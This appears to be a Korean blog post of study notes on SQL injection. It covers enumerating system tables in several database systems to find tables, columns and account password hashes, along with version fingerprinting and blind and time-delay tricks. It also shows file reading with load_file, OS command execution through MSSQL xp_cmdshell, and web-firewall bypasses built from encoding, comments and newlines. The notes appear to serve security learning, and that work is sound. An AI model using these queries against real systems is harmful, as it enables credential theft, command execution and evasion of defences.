SQL Injection으로 원하는 정보 계정과 비밀번호 등을 알아내기 위해서는
해당 정보가 포함된 테이블과 컬럼명을 알아내야 한다.
따라서 시스템 테이블을 조회하는 쿼리 등을 작성해야 한다.
<MYSQL>
MYSQL은 초기 설치 시 information_schema와 mysql, performance_schema, 그리고 sys 데이터베이스가 있다.
tables를 통해 정보를 조회할 수 있다.
select TABLE_SCHEMA from information_schema.tables group by TABLE_SCHEMA;
select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES;
select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;
table_schema와 table_name, column_name까지 조회할 수 있다.
PROCESSLIST를 이용하면 실시간으로 실행되는 쿼리를 조회할 수 있다.
mysql> select * from information_schema.PROCESSLIST;
/*
+-------------------------------------------------+
| info |
+-------------------------------------------------+
| select info from information_schema.PROCESSLIST |
+-------------------------------------------------+
1 row in set (0.00 sec)
*/
sys의 SESSION 테이블을 이용해 실행 중인 계정까지 함께 조회할 수도 있다.
mysql> select user,current_statement from sys.session;
/*
+----------------+------------------------------------------------+
| user | current_statement |
+----------------+------------------------------------------------+
| root@localhost | select user,current_statement from sys.session |
+----------------+------------------------------------------------+
1 row in set (0.05 sec)
*/
USER_PRIVILEGES 테이블을 통해 MySQL 서버의 계정 정보를 조회할 수 있다.
mysql> select GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE from information_schema.USER_PRIVILEGES;
/*
PRIVILEGE_TYPE: 특정 사용자가 가진 권한의 종류를 나타냅니다.
IS_GRANTABLE: 특정 사용자가 자신의 권한을 다른 유저에게 줄 수 있는지 YES 또는 NO로 표시됩니다.
+-------------------------+-------------------------+--------------+
| GRANTEE | PRIVILEGE_TYPE | IS_GRANTABLE |
+-------------------------+-------------------------+--------------+
| 'root'@'localhost' | SELECT | YES |
...
| 'root'@'localhost' | SUPER | YES |
...
| 'user_test'@'localhost' | USAGE | NO |
+-------------------------+-------------------------+--------------+
58 rows in set (0.00 sec)
*/
<MSSQL>
MSSQL은 master, tempdb, model, msdb 데이터베이스가 있다.
SELECT name FROM master..sysdatabases;
/*
name
-------
master
tempdb
model
msdb
dreamhack # 이용자 정의 데이터베이스 (예시)
*/
SELECT DB_NAME(1);
/*
master
*/
SYSDATABSES와 DB_NAME()을 이용해 데이터베이스에 대한 정보를 얻을 수 있다.
SELECT name FROM dreamhack..sysobjects WHERE xtype = 'U';
# xtype='U' 는 이용자 정의 테이블을 의미합니다.
/*
name
-------
users
*/
SELECT table_name FROM dreamhack.information_schema.tables;
/*
table_name
-----------
users
*/
sysobjects를 이용해 테이블 정보를 조회할 수 있다.
information_schema의 tables에 담겨있는 table_name으로 조회할 수도 있다.
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users');
/*
name
-----
uid
upw
*/
SELECT table_name, column_name FROM dreamhack.information_schema.columns;
/*
table_name column_name
-------------------------
users uid
users upw
*/
syscolumns 또는 information+schema의 columns 테이블을 이용해 테이블의 컬럼까지 조회할 수 있다.
SELECT name, password_hash FROM master.sys.sql_logins;
/*
name password_hash
--------------------------
sa NULL
dreamhack NULL
*/
SELECT * FROM master..syslogins;
master 데이터베이스의 sys.sql_logins 테이블을 이용하거나 syslogins 테이블을 이용해 계정 정보를 조회할 수 있다.
<PostgreSQL>
PostgreSQL은 postgres, template1, template0 데이터베이스가 있다.
pg_catalog, information_schema에 주요 정보를 담고 있는 테이블이 있다.
postgres=$ select table_name from information_schema.tables where table_schema='pg_catalog';
/*
table_name
---------------------------------
pg_shadow
pg_settings
pg_database
pg_stat_activity
...
*/
postgres=# select table_name from information_schema.tables where table_schema='information_schema';
/*
table_name
---------------------------------------
schemata
tables
columns
...
*/
pg_catalog.pg_shadow 테이블에서 서버의 계정 정보를 조회할 수 있다.
postgres=$ select usename, passwd from pg_catalog.pg_shadow;
/*
usename | passwd
----------+-------------------------------------
postgres | md5df6802cb10f4000bf81de27261c1155f
(1 row)
*/
pg_catalog.pg_settings 테이블을 통해 PostgreSQL 서버의 설정 정보를 조회할 수 있다.
postgres=$ select name, setting from pg_catalog.pg_settings;
/*
name | setting
----------------------------------------+------------------------------------------
allow_system_table_mods | off
application_name | psql
...
*/
pg_catalog.pg_stat_activity 테이블을 통해 실시간으로 실행되는 쿼리를 조회할 수 있다.
postgres=$ select usename, query from pg_catalog.pg_stat_activity;
/*
usename | query
----------+---------------------------------------------------------
postgres | select usename, query from pg_catalog.pg_stat_activity;
(1 row)
*/
<Oracle>
all_tables로 사용자가 접근할 수 있는 테이블을 볼 수 있다.
SELECT DISTINCT owner FROM all_tables
SELECT owner, table_name FROM all_tables
all_tab_columns로 특정 테이블의 칼럼 정보를 확인할 수 있다.
SELECT column_name FROM all_tab_columns WHERE table_name = 'users'
all_users 테이블을 통해 DBMS 계정 정보를 획득할 수 있다.
SELECT * FROM all_users
<SQLite>
sqlite_master 시스템 테이블이 있다.
sqlite> .header on
-- 콘솔에서 실행 시 컬럼 헤더를 출력하기 위해 설정합니다.
sqlite> open dreamhack.db
-- 데이터베이스를 연결합니다.
sqlite> select * from sqlite_master;
/*
type|name|tbl_name|rootpage|sql
table|users|users|2|CREATE TABLE users (uid text, upw text)
*/
DBMS Fingerprinting
SQL Injection 취약점을 발견하면 제일 먼저 알아내야 할 정보는 DBMS의 종류와 버전이다.
쿼리의 실행 결과를 볼 수 있다면 환경 변수를 이용할 수 있다.
SELECT @@version
SELECT version()
에러 메세지 출력을 통해서 알아낼 수도 있다.
select 1 union select 1, 2;
# MySQL => ERROR 1222 (21000): The used SELECT statements have a different number of columns
(select * from not_exists_table)
# SQLite => Error: no such table: not_exists_table
참 거짓만을 알 수 있는 경우에는
mid(@@version, 1, 1)='5';
substr(version(), 1, 1)='P';
이런 식으로 하나씩 가져와서 비교하면서 알아낼 수도 있다.
출력이 아예 없는 경우 시간 지연 함수를 사용할 수도 있다.
sleep(10)
pg_sleep(10)
<MySQL>
mysql> select @@version; # select version();
+-------------------------+
| @@version |
+-------------------------+
| 5.7.29-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)
version을 이용해 버전과 운영 체제 정보를 알아낸다.
mysql> select 1 union select 1, 2;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
에러 메시지 출력을 이용해 MySQL임을 알아낸다.
(1222 에러 코드는 MySQL에서 명시한 코드이다.)
mysql> select mid(@@version, 1, 1)='6' and sleep(2);
+---------------------------------------+
| mid(@@version, 1, 1)='6' and sleep(2) |
+---------------------------------------+
| 0 |
+---------------------------------------+
1 row in set (0.00 sec)
mysql> select mid(@@version, 1, 1)='5' and sleep(2);
+---------------------------------------+
| mid(@@version, 1, 1)='5' and sleep(2) |
+---------------------------------------+
| 0 |
+---------------------------------------+
1 row in set (2.00 sec)
참, 거짓만 알 수 있거나 출력 결과가 없는 경우에는 이런 식으로 알아낼 수도 있다.
and를 사용하면 앞의 조건이 맞는 경우에만 뒤가 실행되기 때문이다.
<PostgreSQL>
postgres=$ select version();
version
--------
PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
(1 row)
version함수를 이용해 운영 체제 정보를 알아낼 수 있다.
postgres=$ select 1 union select 1, 2;
ERROR: each UNION query must have the same number of columns
LINE 1: select 1 union select 1, 2;
에러 메세지 검색을 통해 PostgreSQL에서 출력하는 에러 메세지임을 알 수 있다.
/* version() => 'PostgreSQL ...', substr(version(), 1, 1) => 'P' */
postgres=$ select substr(version(), 1, 1)='P';
?column?
----------
t
(1 row)
postgres=# select substr(version(), 1, 1)='Q';
?column?
----------
f
(1 row)
참, 거짓만 알 수 있을 때 이런 식으로 비교하면서 알아낼 수 있다.
<MSSQL>
> select @@version;
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Microsoft SQL Server 2017 (RTM-CU13) (KB4466404) - 14.0.3048.4 (X64)
Nov 30 2018 12:57:58
Copyright (C) 2017 Microsoft Corporation
Developer Edition (64-bit) on Linux (Ubuntu 16.04.5 LTS)
(1 rows affected)
마찬가지로 version 환경 변수로 운영 체제와 버전 정보 등을 알아낼 수 있다.
> select 1 union select 1, 2;
Msg 205, Level 16, State 1, Server e2cb36ec2593, Line 1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.asdf
에러 메세지 검색을 통해 MSSQL에서 출력하는 에러 메세지임을 알 수 있다.
-- @@version => 'Microsoft SQL Server...', substring(@@version, 1, 1) => 'M'
> select 1 from test where substring(@@version, 1, 1)='M';
-----------
1
(1 rows affected)
> select 1 from test where substring(@@version, 1, 1)='N';
-----------
(0 rows affected)
참, 거짓만 알 수 있는 경우 substring 함수로 한 글자씩 비교하며 알아낼 수 있다.
select '' if(substring(@@version, 1, 1)='M') waitfor delay '0:0:5';
waitfor delay를 이용하면 시간 지연도 이용할 수 있다.
<SQLite>
sqlite> select sqlite_version();
3.11.0
sqlite_version 함수를 통해 DBMS의 버전을 알아낼 수 있다.
sqlite> select 1 union select 1, 2;
Error: SELECTs to the left and right of UNION do not have the same number of result columns
에러메세지로 SQLite임을 알 수 있다.
-- sqlite_version() => '3.11.0', substr(sqlite_version(), 1, 1) => '3'
sqlite> select substr(sqlite_version(), 1, 1)='3';
1
sqlite> select substr(sqlite_version(), 1, 1)='4';
0
참, 거짓만 반환하는 경우에 substr로 한 글자씩 비교하면 버전 정보를 얻을 수 있다.
select case when substr(sqlite_version(), 1, 1)='3' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;
LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2))))를 이용해 시간 지연 발생을 시킬 수 있다.
MySQL에서 파일 관련된 작업을 할 때 mysql 권한으로 수행되고, my.cnf 파일의 secure_file_priv값에 영향을 받는다.
secure_file_priv는 load_file이나 outfile을 이용해 파일에 접근할 때 접근할 수 있는 파일 경로에 대한 정보를 가지고 있다.
mysql> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+
select로 간단하게 조회할 수 있다.
# echo test1234 > /var/lib/mysql-files/test
mysql> select load_file('/var/lib/mysql-files/test');
+----------------------------------------+
| load_file('/var/lib/mysql-files/test') |
+----------------------------------------+
| test1234 |
+----------------------------------------+
load_file 함수로 파일을 읽고 출력할 수 있다.
MSSSQL에서는 xp_cmdshell을 이용해 OS 명령어를 실행할 수 있다.
SELECT name, value, description FROM sys.configurations WHERE name = 'xp_cmdshell'
이 명령어로 xp_cmdshell의 활성화 여부를 확인할 수 있다.
value가 1이면 활성화를 의미한다.
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
이렇게 xp_cmdshell 명령어를 사용할 수 있다.
DBMS는 문자열을 비교하는 방법이 서로 다르다.
<?php
...
// $input = "Admin"; # 대소문자 구분
// $input = "admin "; # 공백 문자로 끝나는 문자열 비교
if($input === "admin") die("can't account lookup"); // filter bypass
/*
DBMS
uid: admin, account_info: secret
...
*/
echo query("select account_info from users where uid='{$input}';");
mysql> select 'a'='A';
/*
+---------+
| 'a'='A' |
+---------+
| 1 |
+---------+
*/
대소문자 구분을 안해서 참을 반환한다.
/* version: 5.7.42 */
mysql> select 'a'='a ';
/*
+---------+
| 'a'='a '|
+---------+
| 1 |
+---------+
*/
공백 문자로 끝나는 문자열 비교에서도 그냥 참을 반환한다.
WAF는 웹앱에 특화된 방화벽이다.
웹 방화벽은 공격코드, 키워드를 기반으로 탐지한다.
대소문자 검사 우회, 치환으로 필터링하는 경우에 우회, reverse나 concat으로 문자열을 완성시키는 우회, 연산자를 이용한 우 공백 탐지 우회 등의 방법이 있다.
<MySQL>
select 0x6162, 0b110000101100010;
select char(0x61, 0x62);
select concat(char(0x61), char(0x62));
select mid(@@version,12,1);
이런 방법들로 문자열 검사를 우회할 수 있다.
select
-> 1;
개행문자 이용
select/**/1;
주석 이용
개행문자와 주석을 이용해 공백 검사를 우회할 수 있다.
<PostgreSQL>
select chr(65);
select concat(chr(65), chr(66));
select substring(version(),23,1);
mysql가 비슷하게 문자열 우회를 할 수 있다.
select
1;
select/**/1;
마찬가지로 공백검사를 우회할 수 있다.
<SQLite>
select char(0x61);
select char(0x61)||char(0x62);
문자열 우회
select
...> 1;
select/**/1;
공백 검사 우회
'웹해킹' 카테고리의 다른 글
드림핵 sql injection bypass WAF Advanced 롸업 (0) | 2023.12.03 |
---|---|
드림핵 sql injection bypass WAF 롸업 (0) | 2023.12.03 |
드림핵 error based sql injection 롸업 (0) | 2023.12.02 |
드림핵 blind sql injection advanced 롸업 (0) | 2023.12.02 |
SQL Injection-1 (0) | 2023.11.30 |